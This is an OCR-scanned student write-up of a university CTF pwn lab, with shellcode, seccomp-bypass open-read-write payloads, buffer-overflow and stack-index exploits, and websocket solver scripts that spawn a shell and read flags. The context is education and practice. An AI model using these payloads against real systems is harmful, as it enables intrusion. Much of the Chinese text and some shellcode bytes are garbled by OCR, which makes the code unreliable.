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[lab 1] Alpha [lab 1] sbofsc [lab 1] sbuf
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[lab 2] easyrop [Lab2] kernel rop [lab 2] passkey
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[lab 2] ret2pit [lab 2] ropl [lab 2] stackpivot
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[lec 1] bypass_me [lec 1] inject_me [lec 1] login_me
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[lec 1] nocrash
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Image 1

1. Task 1

1.1 nocrash

RAEFFET RS 2 MEESR b, HOEIW pow MudthlHH. MBHE b=0 I

/ pow(b, i-1) K&ZE SIGFPE:
j =a / pow(b, 1 - 1); // b=0 - pow IR[E] 0 - [FE
N a=2, b=0 BIW[fil’k crash, flag #id SIGFPE 135 #iR Al

Result:

Floating point exception (core dumped)
Cool program crashed with status 34816
your flag: AAA{prOGraM C4n eab5ilY crAsH}
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b1_pwn.md U
® nocra

AMport webdsockKe

ws = websocket.create_connection("wss://ctf.zjusec.net/api/proxy/019f7b88-b78a-7552—

ws. recv() # ! L L imber:
ws.send(b"2\n", 5 .ABNF.OPCODE_BINARY)

.recv() # "what do you want to turn it
.send(b"@\n", opcode=web ABNF . OPCODE_BINARY)

print(ws.recv().decode()} sult:
print(ws.recv().decode())

ws.close()

illFengMacBook CTF % /usr/local/bin/pythond /Users/BillFeng/ho
/labl_pwn/nocrash_exp.py
@BillFengMacBook CTF % /usr/local/bin/python3 /Users/BillFeng/ho
TF/labl_pwn/nocrash 0.y

Floating point exception {core dumped}
Cool program crashed with status 34816
your flag: AA{pr@Gra_C4n_ea5ilY_crAsH}

% BillFeng@BillFengMacBook CTF % [

Image 2
1.2 login__me
1.2.1 FLAG1 — &% user £5

user M1 G/ TEA JN% 5 B i51, RO, HEER e 2.

#define VERIFY "\x27\x85\x56\x4a\xb2\x29\xe7\xfl..." // 32 FPHEX
#define KEY "\xaa\xaa..." // 16 FUEEE (\xaa x 16)

void get user password(char *buf) {
memcpy (buf, VERIFY, BUFFER SIZE);
tea decrypt (buf, BUFFER SIZE, KEY); // TEA [RIbfE

B
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Reading symbols from

(gdb) b login me.c:121

Breakpoint 1 at N , line 121.
(gdb) run

Starting program:

This GDB supports auto-downloading debuginfo from the following URLs:
< >

Enable debuginfod for this session? (y or [n]) n

Debuginfod has been disabled.

To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
[Thread debugging using libthread db enabled]

Using host libthread db library " "
Hello there, please input your username

user

Hello user, please tell me the length of your password
32

cool, input your password

123123

Breakpoint 1, main ( =1, =Oxffffffffe528) at
121 get_user_password (password verify
(gdb) next
122 memcmp (password, password verify, BUFFER SIZE
(gdb) print password verify
= "I am very very strong password!!"
(gdb)

Image 3
1.2.2 FLAG2 — {8 #%& admin 5
main L= 32 FHHHAELSESE, read() A% password fll \O:

char username[32];
char password[32];

char password verify[32];

// get password() REA read(), TARIM \0
return read(STDIN FILENO, buf, BUFFER SIZE);

admin Zi@Ed get admin password() MARS¥E password.txt iEHUF| password verify :

void get admin password(char *buf) {
int fd = open("password.txt", O RDONLY) ;
read (fd, buf, BUFFER SIZE);
close (fd) ;

}

wrong password S H printf ("$s", password) [FIJG \0 ERFFTEN, M EALH

password verify:

wrong_password:

printf ("you input password as %s (len %d)\n", password, strlen (password)):;
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Flag:

1.

1.

3
3.1

AAA{Oh D1rTy staCK Ne3d Cla4n}

inject_ me

BR R

LEC o]

M HEEHNTAN,
ABNF.DPCODE_BINARY)

et ABNF . OPCODE _BINARY }

"\n") (8]

)PCODE BINARY}

irst part a® tlagintlagl:

iR mmap —HfEEdiE 0x14000 B RWX ( READ, WRITE, EXECUTE) WA%, AMHEANBENE a, b
(0~255) , 4 5 BERF AL shellcode, I pf B85 4G AR [RIHE -

a

random () & Oxff;

b = random() & Oxff;
address = mmap (MAP ADDR, size, PROT_EXEC | PROT READ | PROT WRITE, MAP PRIVATE

MAP ANONYMOUS | MAP FIXED, -1, 0);

read (STDIN FILENO,
c = funcptr(a, b);
if (¢ !'= a + b) {

goto fail;
}

printf ("goooooood,

address, CODE SIZE);

next one\n");
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1 Round 1: ADD (c == atb)
2 Round 2: SUB (c == a-b)
3 Round 3: AND (c == aé&b)
4 Round 4: OR (c == alb)
5 Round 5: XOR (c == a”b)
6

7 E=EEE - $TE) FLacl

1.3.2 FLAG1 — H XK shellcode

x86-64 WHZIE rdi=a, rsi=b, RFEMEK rax . FERFHILADTT:

pry | LY H.2355
ADD lea eax, [rdi+rsi]; ret \x8d\x04\x37\xc3

SUB mov eax,edi; sub eax,esi; ret \x89\xf8\x29\xf0\xc3
AND mov eax,edi; and eax,esi; ret \x89\xf8\x21\xf0\xc3
OR mov eax,edi; or eax,esi; ret \x89\xf8\x09\xf0\xc3

XOR mov eax,edi; xor eax,esi; ret \x89\xf8\x31\xf0\xc3

Table 1

T ailid s FLAGL.



@ 1-3inject_me_solve.py X

olven
URL = "wss://ctf.zjusec.net/api/proxy/019f8d2f-be8d-7cb7-aea2-leed4cd38ceed"

# x86-64 shellcode: rdi=a, rsi=b, iR[E/{E-rax

SHELLCODE = {
"ADD": b"\x8d\x04\x37\xc3", ; eax, [rdi+rsi]; ret
"SUB": b"\x89\xf8\x29\xf0O\xc3", # eax,edi; sub eax,esi;
"AND" : b"\x89\xf8\x21\xfO\xc3", f eax,edi; and eax,esi;
"OR": Db"\x89\xf8\x09\xfO\xc3", # eax,edi; or eax,esi;
"XOR": b"\x89\xf8\x31\xfO\xc3", : eax,edi; Xxor eax,esi;

recvall(ws):
ws.settimeout (0.5)
d =b""
while True:
try: d += ws.recv()
except: return d.decode()

ws = websocket.create connection(URL)

# F38
print("[1]", repr(recvall(ws)))

for op in ["ADD", "SUB", "AND", "OR", "XOR"]:
ws.send (SHELLCODE[op], opcode=websocket.ABNF.OPCODE BINARY)
resp = recvall(ws)
print(f"“[{op}]", repr(resp))

ws.close()

>J) bash la

parallels@ubuntu-linux-2404: ‘ 0 F$ /usr/bin/python3 /media/psf/homework/C ) adl
_) gdb

TF/labl pwn/inject me solve.py =

[1] 'Hello there, once you finish the delegate tasks I requested,\nI will give you your fla >-) Python

g :)\n*** DO NOT CHEAT ME, BIG MA IS WATHCING YOU ***\n b_) Python: login...
\nRequest-1: give me code that performing ADD\n' 5 Python

[ADD] ‘'goooooood, next one\nRequest-2: give me code that performing SUB\n'

[SUB] 'goooooood, next one\nRequest-3: give me code that performing AND\n'

[AND] ‘'goooooood, next one\nRequest-4: give me code that performing OR\n'

[OR] 'goooooood, fianl one\nRequest-5: give me code that performing XOR\n'

[XOR] 'Soooooooo wonderful, here is your first part of flag:\nAAA{ShelLlcOde TO'

% parallels@ubuntu-linux-2404:/media/psf/home $ []

1.3.3 FLAG2 — execve shellcode

TERE P IRARIE rh s T flag2 e m MG B, M T F 3278 “Inject some shellcode”.

BATE—5 I3 N B execve ("/bin/sh™, 0, 0) [ shellcode, BEJ%# shell, 8)5 cat /flag* % FLAG2:




xor rsi, rsi

push rsi

mov rdi, "/bin//sh"

push rdi

mov rdi, rsp

xor rdx, rdx

mov al, 59

syscall ; execve ("/bin/sh", NULL, NULL)

£ 5 ¥FN execve 2
cket.create_connection(URL)
recvall(ws)
op in ["ADD", "SuB", "AND", "OR"]:
ws.send(SClop], opcode nsocket . ABNF.OPCODE BINARY)
recvall(ws)
ws.send(SH, opcode cket.ABNF.0OPCODE BINARY)
t sleep(0.3)
ws.send(b"cat /flag*\n", opcode ABNF .0OPCODE_BINARY)
f2 = recvall(ws).strip()
ws.close()

print("\n FEAG ==t=c
print(fl + f2)

Lve.py"

orming ADD\n'

[ADD] ‘'gooooocod, next one\nRequest-2: give me that performing SUB\n'
[SUB] 'goooooood, next one\nRequest-3: give me that performing AND\n'
[AND] 'goooooocod, next one\nRequest-4: give me that performing OR\n

[OR] ‘goooooood, fianl one\nRequest-5: give me that performing XOR\n

[XOR] 'Soooooocoo wonderful, here is your first of flag:\nAAA{Shel.1cOde TO'

*if

AAA{Shel.1lcGde TO 9E7 All Flag5}
Bl parallels@ubuntu-linux-2464:/m

FLAGL: AAA{SheLlCOde_TO
FLAG2: 9E7 All Flag5}
Flag: AAA{SheLlcOde TO SE7 All Flagb}

1.4 bypass_me
EXEFITIE /1T, BRIX A bypassAl fe R 2% 7 G H AR oI o0
mmap NASSTE RWX WAF, prctl WE seccomp ¥PHH, RJE1EAN shellcode ELIZEHAT:

mmap (0, page size, PROT EXEC|PROT READ|PROT WRITE, MAP PRIVATE|MAP ANONYMOUS, -1,
0)s

prctl (PR _SET NO NEW PRIVS, 1, 0, 0, 0);

prctl (PR_SET SECCOMP, SECCOMP MODE FILTER, sbpf prog); // Bi&E, Bpr JLiEFLNI

puts ("Give me your shellcode:");

read (STDIN FILENO, addr, page size); // i shellcode

((void(*) ())addr) (); /] AT



1.4.1

Seccomp Vi 2 #

SOC 4w EL BPF HUU (6 6184 -

2k
eV

1.4.2

B2 it aX
1d [0] hnzg; HY syscall 5

jeq #59, +0, +1 [k syscall 59 (execve) ] N —17{E4

ret ERRNO EiEt execve IZ[f] EPERM
jeq #322, +0, +1 ¥ syscall 322 (stub_execveat) N —AT4HE4

ret ERRNO B4 & EPERM

ret ALLOW AT H4x syscall 48 o

Table 2

execve (59). execveat Z{E(322)
open (2). read (0). write (1) ZERrA HAt syscall

AHEH execve ¥ shell, {H open/read/write 4T

ORW (Open-Read-Write) shellcode B8 /flag :

QO 1 o U w N

NeJ

10
11
12
13
14
15
16
17
18

xor esi, esi ;7 O_RDONLY = 0
xor edx, edx ; mode = 0

lea rdi, [rip + path] ; "/flag"

mov eax, 2 ; SYS open
syscall

mov edi, eax ; fd

XOor eax, eax ; SYS read
mov rsi, rsp ; buf

mov edx, 0x100 ; size
syscall

mov edx, eax ; bytes read
mov edi, 1 ; stdout
mov eax, 1 ; SYS write
syscall

.asciz "/flag"

Flag: AAA{4 LoT oF shellcODE 7o 8Yp4SS m37a07cf9b365c}



import websocket

FRL = "wss://ctf.zjusec.net/api/proxy/019f8d52-ad86-7d8b-83e9-15fa8277f799"

# x86-64 ORW shellcode: open("/flag") - read - write(l) - exit

SC =
b"\Xx31\xf6\x31\xd2\x48\x8d\x3d\x2c\x00\x00\x00" # xor esi,esi; xor edx,
b"\xb8\x02\x00\x00\x00\x0f\x05" # mov eax,2; syscall
b"\x89\xc7\x31\xcO\x48\x89\xeb6\xba\x00\x01\x00\x00\x0f\x05" # mov edi,e
b"\x89\xc2\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05" # mov edx,e
b"\x31\xff\xb8\x3c\x00\x00\x00\x0f\x05" # xor edi,edi; mov ea
b"/flag\x00" # path string

recvall(ws):
ws.settimeout (0.5)
d =b""
while True:
try: d += ws.recv()
except: return d.decode()

ws = websocket.create connection(URL)
print("[1]", repr(recvall(ws)))

ws.send(SC, opcode=websocket.ABNF.OPCODE BINARY)
print("[FLAG]", repr(recvall(ws)))

ws.close()

o
2

parallels@ubuntu-linux-24604:/medi homework/CTF$ /usr/bin/python3 /media/psf/homework/CT E;wam”
F/labl pwn/bypass me solve.py 2>&1 ~ bash
[FLAG] 'AAA{4 LoT oF shellcODE 70 8Yp4SS m37a07cf9b365c}\n'
Image 8
2. Task 2: Alpha
X2 R — R S R A, N R BT W . RILSW:

mmap RWX T — read shellcode - WMEBEEBITFEDHE [0x21,0x7e]
~ 0% seccomp — call shellcode

KA E (PIE W8 -

10



1 0x1174: call mmap@plt ; H1E RWX T

2 Oxllca: call read@plt ; EN shellcode
3 0x1209: movzx eax, byte ptr [rdx] ; printable &
4 O0x1246: mov esi, 0x3b ; 2 execve

5 0x1253: mov esi, 0x142 ; 2 execveat

6 0x1260: mov esi, 0x2 ; = open

7 0x126d: xor esi, esi ; 2 read

8 0x1277: mov esi, 0x1 ; 2 yrite

9 0x129%b: call rax ; 4T shellcode

X BB AIEMWT T . execve #2E, iE ORW B open/read/write WH#i2%, {H seccomp s&ERIAIAT,
T JL% blacklist. P HEBEEER syscall:

1 openat (0, "/flag", 0)
2 sendfile (1, fd, NULL, 0x21212121)

openat A[LAFM open, sendfile AJLAiEWAZIE N AR EEIES stdout, Leil read/write .
2.1 E4IB shellcode TRRER MFF

N4 Alphad) RIAESE FPython2. o o WA THEHF. A T —AE7EMIC R H K
syscall « \x00. 257 IXEFIARAM,

1. XOR &8 #Hltn 257 = 0x21212222 ~ 0x21212323
2. MEEEF: Jtik rax=0,  push rax
3. HIBMh syscall: payload BAEHAT LK 2e 21, BATHEUR 0f 05 :

=

O0x2e ~ 0x21 0x0f
2 0x21 ~ 0x24 = 0x05

2.2 GDB Wili&
[ T2 ]
UOAE: FIAN4T WL, seccomp A& blacklists PAMAH LA syscall s&izfrf#hH KA.

SR AR N -

1 python3 "labl pwn/2 alpha solve.py" dump > /tmp/alpha.in

pini
Fm



Ls J $ gdb -q "/media/psf/Billl/labl pwn/2 attachment/alpha"
am stopp

in start () from

(gdb) info proc mappings

proces
Mapped address

oxff

s 17109

Start Addr
Bx555555554000
9x555555555000
9x555555556000
0x555555557000
ox7ffff7fbdoee

ox7ffff7fcleee
ex7ffff7fc3000
0A7ffff7*LSOOO

Ox71
FFFFFF
RRRR]

OAllCd'

Breakpoint 1 at

(gdb)

C

Continuing.
[Thread debugging using libthread db enabled]
ing host libthread db library "

Visible shellcode only:

Breakpoint 1,

(gdb)

(gdb)

ni

spaces:

End Addr
Bx555555555000
0x555555556000
0x555555557000
0x555555559000
Ox7ffff7fc1000
ox7ffff7fc3000
ex7ffff7fc5000
ox7ffff7fefooe
Ox7ffff7ffaoc0e

ffff7fffooe
fffffoee

in 7?7 ()

in 72?7 ()

p/x $rbx
x7ffff7ffaoeo
x/128bx 5|b-
: Ox50
: 0x30
: Ox56
1 Bx21
: Ox5b

(gdb) []

payload #i2N RWX 11, HF 53 7E )

Size
0x1000
9x1000
9x1000
0x2000
0x4000
0x2000
0x2000

0x2a000
0
9x4000
0x22000
0x1000

L

0x2000
8x2000
0x0e

Ox0e

0x0
0x2000
0x2c000
9x37000
0x0

0x0

]

ODJflT»

0x68
ox21
9x58
0x68
0x50
0x21
0x23
0x58
8x21
ox21
9x90

Image 9

64-11nux~gnu

attachment/

attachment

attachment
2 attachmen

1d-linux-x86-64.
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parallels@ubuntu-linux-22-04-02-desktop: $ gdb -q "/media/psf/Billl/labl pwn/2 attac
hment/alpha"

Reading symbols from

(No debugging symbols found in

(gdb) set disassembly-flavor intel

(gdb) set confirm off

(gdb) set disable-randomization on

(gdb) set pagination off

(gdb) starti < /tmp/alpha.in

Starting program: i < /tmp/alpha.in

Program stopped.
in start () from
(gdb) set $base = 0x555555554000
(gdb) break *($base + 0x124e)
Breakpoint 1 at
(gdb) continue
Continuing.
[Thread debugging using libthread db enabled]
Using host libthread db library "
Visible shellcode only:

Breakpoint 1,

(gdb) print/d $esi

$1 = 59

(gdb) delete

(gdb) break *($base + ©0x125b)
Breakpoint 2 at

(gdb) continue

Continuing.

Breakpoint 2,
(gdb) print/d $esi

$2 = 322
Image 10
seccomp blacklist B ARZE T HILL syscall
delete breakpoints
b *($Sbase+0x124e) # seccomp rule add(execve=59)
b * (Sbase+0x125b) # execveat=322
b *($base+0x1268) # open=2
b *($base+0x1272) # read=0
b *(Sbase+0x127f) # write=1
b *(Sbase+0x129b) # call shellcode
run < /tmp/alpha.in
p/d $esi # BRETTORE: 59, 322, 2, 0, 1
c
. B8R

13



(gdb) set pagination off
(gdb) starti < /tmp/alpha.in
Starting program: < /tmp/alpha.in

Program stopped.
in start () from
(gdb) set $base = ©x555555554000
(gdb) break *($base + ©x129b)
Breakpoint 1 at
(gdb) continue
Continuing.
[Thread debugging using libthread db enabled]
Using host libthread db library "
Visible shellcode only:

Breakpoint 1,
(gdb) stepi
in 2?2 ()

(gdb) set $sc = $rip
(gdb) x/2bx $sc+85

: Bx2e
(gdb) x/2bx $sc+117

: Ox2e
(gdb) break *($sc+20)
Breakpoint 2 at
(gdb) continue
Continuing.

Breakpoint 2,
(gdb) x/2bx $sc+85

G
(gdb) x/2bx $sc+117
: oxef
Image 11
H&04 decoder & 2e 21 MU 0f 05
# ME—THIS call rax Rb4f#E
si # AN shellcode
set $sc = S$Srip
x/2bx $sc+85 # decoder HI: 2e 21
x/2bx $sc+117 # decoder HI: 2e 21
b *($sc+20) # decoder ZEHRMT; EHIAEE, BIEMX xor B syscall
pd=1: ]
c
x/2bx $sc+85 # decoder f§: Of 05
x/2bx $sc+117 # decoder f§: Of 05
AR PAT &= H:

AAA{41pha8eTlcAI 5HeIICOde c4N't 7Rap mE7flbldc5le64}

14



eane Untinti: 24.04 fusita Rna: vAnn) =808 & 9 d e E e

MRS ANVENH A

shellcode: openat (AT FDCW

x86 BHNAIR, EREMERTIR

Image 12
3. Task3: sbofsc
401255: add eax, 0x20
401258: shl eax, 0Oxc ; addr = 0x20000 ~ 0x27000
40127c: mov edx, 0x7 ;7 PROT READ|WRITE|EXEC
401277: mov ecx, 0x32 ; MAP FIXED|MAP ANON|MAP PRIVATE
401284: call mmap@plt
4012a4: call read@plt ; read (0, addr, 0x40)
4012bf: call gets@plt ; BREA REERE

4012ca: ret
T ) AR U A TR I RN A B N shellcode [k
Hiht A5 8 CHALLENGE #%iil:

addr = ((CHALLENGE % 8) + 32) << 12
PrLAE i A 8 FrAT fg:

0x20000, 0x21000, ..., 0x27000

gets MHEFRZEMXTE rbp-0x40 :

15



4012b3: lea rax, [rbp-0x40]
4012bf: call gets@plt
4012c9: leave

4012ca: ret

PRI G 78 % ] s 5 2

0x40 FTIEH buf + 8 F1 saved rbp + 8 FTW return address

PR BRI -

# B—ME: BN 64 F1 shellcode
send (execve binsh shellcode.ljust (0x40, b"\x90"))

# BMER: gets @, REF mmap XiF
send (b"A"*0x40 + b"B"*8 + p64(addr) + b"\n")

Ko R H 8 4, A 3 sbofsc solve.py HIZEANZEARIT].

parallels@ubuntu-linux-22-04-02-desktop: $ objdump
-d "/media/psf/Billl/labl pwn/3 attachment/sbofsc" | grep -A2 "401284:\|4012a4:\|4012b
f:\|4012ca:"
e8 c7 fd ff ff call 401050 <mmap@plt>
401289: bf 6c 20 40 00 mov $0x40200c,%edi
40128e: e8 ad fd ff ff call 401040 <puts@plt>

e8 c7 fd ff ff call 401070 <read@plt>
4012a9: bf 1f 20 40 00 mov $0x40201f,%edi
4012ae: e8 8d fd ff ff call 401040 <puts@plt>

e8 bc fd ff ff call 401080 <gets@plt>
4012c4: b8 00 00 00 00 mov $0x0,%eax
4012¢9: c9 leave

c3 ret

Image 13

TREREIN A R -

[+] SUCCESS at 0x21000
[+] Flag: AAA{Re’7 to 9UE5s SHELLcOD3 Posa781f333d6ed}

16



o bt e P S
5 \{)xim«._;:'./l'.‘ ¥

ain

def try_exploit(addr: int) -> bytes | None:

# Step 1: T "what's your name:
drain(ws)

# Step 2: &Ki%X shellcode (EZREZF| 64 FT)
ws.send(SHELLCODE. 1just(0x40, b'\x90'), opcode=websocket
time.sleep(0.3)

# Step 3: FfF "try to overflow me~"

drain(ws)

# Step 4: Ri¥id payload

payload = b"A" *x 0x4@0 + b"B" * 8 + p64(addr) + b'"\n"
ws.send(payload, opcode=websocket.ABNF.0OPCODE_BINARY)
time.sleep(0.5)

£

/usr/local/bin/python3 "/Users/BillFeng/homework/CTF/1labl_pwn/3 sbofsc_solve.py"
BillFeng@BillFengMacBook CTF % /usr/local/bin/python3 " /Users/BillFeng/homework/CTF/labl_p
wn/3 sbofsc_s

olve.py"

[*] Brute-forcing mmap addresses...

[+] SUCCESS at 0x20000

[+] Flag: AAA{Re7_to_9UE5s_SHELLcOD3_Posa781f333d6e4}

[x] Starting interactive shell...
[*] Shell ready! Type commands (exit to quit)

Image 14

Flag: AAA{Re7 to 9UE5s SHELLcOD3 Posa781£333d6e4}

4. Task4: sbuf
4.1 Hiad?

sbuf JF7 Canary fil NX, read (0, buf, 0x200) HHIAZMXMKABEBISRENE. KAHIRUAERE
Bt R Ok A AR, B R 2 — M ESE, sEHIT:

printf ("$11d", result);
GBSO, —MREHERHREI T BFEAARPRAR execve ("/bin/sh") K
4011a6: push rbp

4011bd: mov gword ptr [rbp-0x20], 0x402008 ; "/bin/sh"
4011de: call execvelplt

TR PIE, BrUAMCRAES R ML, A HESHEEM: 0x4011a6
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4.2 KREHKTE
T EORESEMIATE main 1 VLA ¥ b, fRWT:

1 obj = main rbp - 0x950

2 obj + 0x000 : value stack[64]

3 obj + 0x800 : value top

4 obj + 0x808 : operator stack[32]
5 obj + 0x908 : operator top

BRI 1++2 , EREEEEEAE, HEREHR 0 AR 3. XEHAERIEE A + YR 5EZ, (HRER
4% —Jeis5iAb ¥, S value stack #8% pop T —K.

PG BIAE 73X — /. pop Jellitdids, JERE M

1 40136f: mov dword ptr [rax], edx ; value top--
2 401377: test eax, eax
3 401379: js 0x40139c ; RRAFAE, BitHResfTh

push NEmA R, A

1 4012e8: cmp eax, 0x3f

2 4012eb: jg 0x401314

3 4012fc: cdge ; MBS R

4 40130a: add rdx, obj

5 401311: mov gword ptr [rdx], rax ; BE| obj + value top*8

TR2&Y value top=-5 Hf, push HA:
1 obj - 0x28

MXELE main WHRMEREE 0x4019£5 AR AL,

4.3 payloado

BRI PR AL B BAEER 0x4011a6 , HMABFEBERE =0 AN SN EZNEES] obj-
0x28 »

ARG G THESR BRI B R, AR g R AU B AR bR SN e BE R R R

1 0x4011la6 = 4198822
2 999%999*%4+207*%999 = 4198797 = 0x40118d
3 0x40118d + 25 = 0x4011a6

BARBIEGE GDB B E. A RA —MEHPAT uisH IS, value top S#KEERHEGE; Ik
push MEHH obj + value top*8 . WILKUGEHAERE, HHZRN + LEANME DB HERIR FIbhEFR LT,
R 25 MENZEMEMN L. RERELN:

1 999%999*%4+207*999+0++25+++++1

AT AR R B AR A AT BMER A=0x40118d, AN +0++ FFUAHIE F#, JFHMIES: + AFHES NS
obj-8 HEF| obj-0x28; VETE obj-0x28 HIFEIXK push BARIIFF R A+25=0x4011a6 . KERE ret W ER
kit a1 TR EL, 3 shelle [o o o ]

4.4 WHHUE
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printf '999*999%4+207*999+0++25+++++1\n' > /tmp/sbuf.in

I els@ubuntu-linux-22-04-02-desktop: checksec "/media/psf/Billl/labl pwn/4 atta
chment/sbuf"

Command 'checksec' not found, but can be installed with:

sudo apt install checkse

parallels@ubuntu 2-04-02 sk : ; $ printf '999+%¥999%4+207%999+0++25+++++1\n"' >
/tmp/sbuf.in

parallels@ubuntu x-22-04-02-d p: "/media/psf/Billl/labl pwn/4 attachment/sb
uf" < /tmp/sbuf.

AAA calculator

Only digits and +-*/() are supported.

Input expression:

0

parallels@ubuntu-linux-22-04-02-des z ‘ gdb -q "/media/psf/Billl/labl pwn/4 attach

ment/sbuf"”

Reading symbols from

(No debugging symbols found in

(gdb) set disassembly-flavor intel

(gdb) set confirm off

(gdb) set pagination off

(gdb) break *0x401311 if $rax == 0x4011ab

Breakpoint 1 at

(gdb) run < /tmp/sbuf.in

Starting program: < /tmp/sbuf.in

[Thread debugging using libthread db enabled]

Using host libthread db library "

AAA calculator

Only digits and +-*/() are supported.

Input expression:

Breakpoint 1, in 7?7 ()
(gdb) set $obj = *(long long*) ($rbp-0x28)
(gdb) print/x $obj
$1 = ox7fffffffd21e
(gdb) print/x $rdx - $obj
$2 = oxfffffrfffffffffs
(gdb) print/x $rax
$3 = 0x4011a6
(gdb) x/gx $rdx

: Ox000000000080231a
(gdb) nexti

in ?? ()

(gdb) x/gx $rdx

: Ox00000000004011a6
(gdb) x/wx $0bj+0x800

: Ox00000000

(gdb) []

FEZF| value top i, FFE 0x4011a6 5 F| obj HI 7

Image 15
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: Ox00000000004011a6
(gdb) x/wx $0bj+0x800

: Ox00000000
(gdb) delete
(gdb) break *0x401d50
Breakpoint 2 at
(gdb) run < /tmp/sbuf.in
Starting program:
[Thread debugging using libthread db enabled]
Using host libthread db library "
AAA calculator
Only digits and +-*/() are supported.
Input expression:
0

Breakpoint 2, in 2?2 ()
(gdb) x/gx $rsp
: Ox00000000004011a6
(gdb) stepi
in 2?2 ()

(gdb) x/i $rip

= -

FE 3 ret HiHIN &2 )5 [ THLE
Image 16

Exploit WL 4 solve sbuf.py . BIT45R:

< /tmp/sbuf.in
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recv_some(ws, timeout=0.3):

m = ws.recv()
if isinstance(m, str):
m = m.encode()
out +=m
except Exception:
break
return out

main():

url = sys.argv[1] if len(sys.argv) > 1 else URL
ws = websocket.create_connection(url, timeout=5)
sys.stdout.buffer.write(recv_some(ws, 0.5))

ws.send(PAYLOAD, opcode=websocket.ABNF.OPCODE_BINARY)
time.sleep(0.2)
sys.stdout.buffer.write(recv_some(ws, 0.3))

ws.send(b'cat /flag\n', opcode=websocket.ABNF.OPCODE_BINARY)
time.sleep(0.2)

sys.stdout.buffer.write(recv_some(ws, 1.0))

ws.close()

if __name__ == '__main__"':

main()

2208 Python
B1LlLFeng@s1LLFengMacBook LIF % /usr/Local/bin/pytnons “/Users/BilLLreng/nomewo
rk/CTF/labl_pwn/4 solve_sbuf.py"
BillFeng@BillFengMacBook CTF % /usr/local/bin/python3 "/Users/BillFeng/homewo
rk/CTF/labl_pwn/4 solve_sbuf.py"
AAA calculator
Only digits and +-%/() are supported.
Input expression:
0

AAA{CANArY_CAn't_DE1ENC3_und3R110Wf57367d7af3d}
% BillFeng@BillFengMacBook CTF % ||

Image 17

XKLL T pwnffIEAE 2 L RIEEBA F JOKSE T (((

5. Bonus
5.1 1. x86-64 System V ABI

x86-64 THT 6 MM /IRE SHOEFHF4: rdi, rsi, rdx, rcx, r8, r9, RFEMEM rax. call fHA=CRE
Hohik BB ENES, SALRETY 2

push rbp
mov rbp, rsp

sub rsp, 0x50

AR rbp 380 E— 2 Al [rbp+s] ZiREMHE, FEHBEE rbp WAL,
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1 gef> b *vuln+40

2 gef> r

3 gef> info reg rbp rsp rdi rsi rdx rip

4 rbp OxT7fffffffe250

5 rsp Ox7fffffffe200

6 rdi Ox7ffEEFffe210 # argl, BERHBEA char *s, MFE rdi

7 rsi 0x40 # arg?2

8 rdx 0x0 # arg3

9 rip 0x4011f0 <vuln+40>

10

11 gef> x/14gx $Srbp-0x50
12 Ox7fff£f£fffe200: 0x0000000000000000 0x0000000000000000
13 Ox7fffffffe210: 0x4141414141414141 0x4141414141414141 <-- char buf[0x20]
14 Ox7fffffffe220: 0x4141414141414141 0x4141414141414141 <-- buf continued
15 Ox7fffffffe230: 0x0000000000000000 0x0000000000000000 <-- padding / local vars
16 Ox7fffffffe240: 0x00007fffffffe390 O0x1b3a7c61c84b5e00 <-- saved local /

canary (BFRE)
17 Ox7fffffffe250: 0x00007£f£f££££ffe270 <-- saved rbp
18 Ox7fffffffe258: 0x000000000040128a <-- return address
19 Ox7fffffffe260: 0x00007fffffffe358 <-- caller stack args /
env

A LLE B x86-64 IR A RAFAEE @A AF AR B, TR call KRR b, EHRHEAN, KEEREER L buf

-> padding/canary -> saved rbp -> return address .

5.2 2. AArch64 AAPCS64

AArch64 FHT 8 MEM /IR SHGE x0-x7 , REMEE %0 . %30 & link register, IR FEIHLEF /78S JErFT
BoBEH 2 %29 (fp) Al x30 (1r) —EEFAFIR L.

1 stp x29, x30,
2 mov x29, sp

[sp, #-0x50]!

FITUA AArch64 HOIRIBIAEASRIGIE 30 , A B 200 0 A bR 4l 196 s PR Bt s 4 S ORAE 31 2 AT AR it

1 gef> b *vuln+36

2 gef> r

3 gef> info reg sp x29 x30 x0 x1 x2 pcC

4 sp 0xO0000fffff£f£££230

5 %29 O0xO0000ffffffff£230 # frame pointer

6 x30 0x00000000004008d4 # link register / return address

7 %0 0x0000ffffff£££250 # argl

8 x1 0x0000000000000040 # arg?

9 %2 0x0000000000000000 # arg3
10 pc 0x0000000000400834 <vuln+36>
11
12 gef> x/12gx S$sp
13 O0xO0000ffffff£f££f230: Ox0000fffffff££280 0x00000000004008d4 <-- saved x29, saved

x30 (LR)

14 Ox0000ffffff£££240: 0x0000000000000000 0x0000000000000000 <-- local / padding
15 O0xO0000fffffff£f£f250: 0x4141414141414141 0x4141414141414141 <-- char buf[0x20]
16 O0xO0000fffffffff260: 0x4141414141414141 0x4141414141414141 <-- buf continued
17 0x0000fff£ff£f£££270: 0x0000000000000000 0x0000000000000000
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18 OxO0000f£fff£ff££ff280: OxO0000f£££££f£££2d0 0x0000000000400950 <-- caller frame

AArch64 1% 16 750655, REFARTEH stp/1dp AEEE . F1 x86-64 5t KX il 2 1% [a] M bk () « 5 — Bili% 7 &
x30 , ¥k M saved LR &R ET =17 1F H K1 .

5.3 3. RISC-V 64 ELF psABI

RISC-V64 Til 8 NMER /FREFSHGE a0-27 , RFEMEWE a0 o RFEMIEZFFERE ra(x1) , HRIBEE sp(x2) ,
frame pointer HH /& s0/fp (x8) . MHFF:

addi
sd
sd
addi

sp, -80
72 (sp)
64 (sp)
sp, 80

Spl
ra,
s0,
s0,

sw N

@57 frame pointer J5, s0 FREIZAATMIEHLEE—M], REHBEFEE s0-8, IH s0 WfE s0-16, AR EM

k.

1 gef> b *vuln+32

2 gef> r

3 gef> info reg sp sO0 ra a0 al a2 pc

4 sp 0x0000003ff£f£££230

5 s0 0x0000003f£f£f£f£f£280 # frame pointer

6 ra 0x000000000001074e # return address register

7 a0 0x0000003f£££££240 # argl

8 al 0x0000000000000040 # arg?2

9 a2 0x0000000000000000 # arg3

10 pc 0x00000000000106a0 <vuln+32>

11

12 gef> x/12gx S$sp

13 0x0000003f£ff£££230: 0x0000000000000000 0x0000000000000000 <-- local / padding
14 0x0000003ffff£ff240: 0x4141414141414141 0x4141414141414141 <-- char buf[0x20]
15 0x0000003fff£f££f250: 0x4141414141414141 0x4141414141414141 <-- buf continued
16 0x0000003ff£f£££f260: 0x0000000000000000 0x0000000000000000
17 0x0000003f£f£f£££270: 0x0000003fff£f£f£f2c0 0x000000000001074e <-- saved s0, saved ra
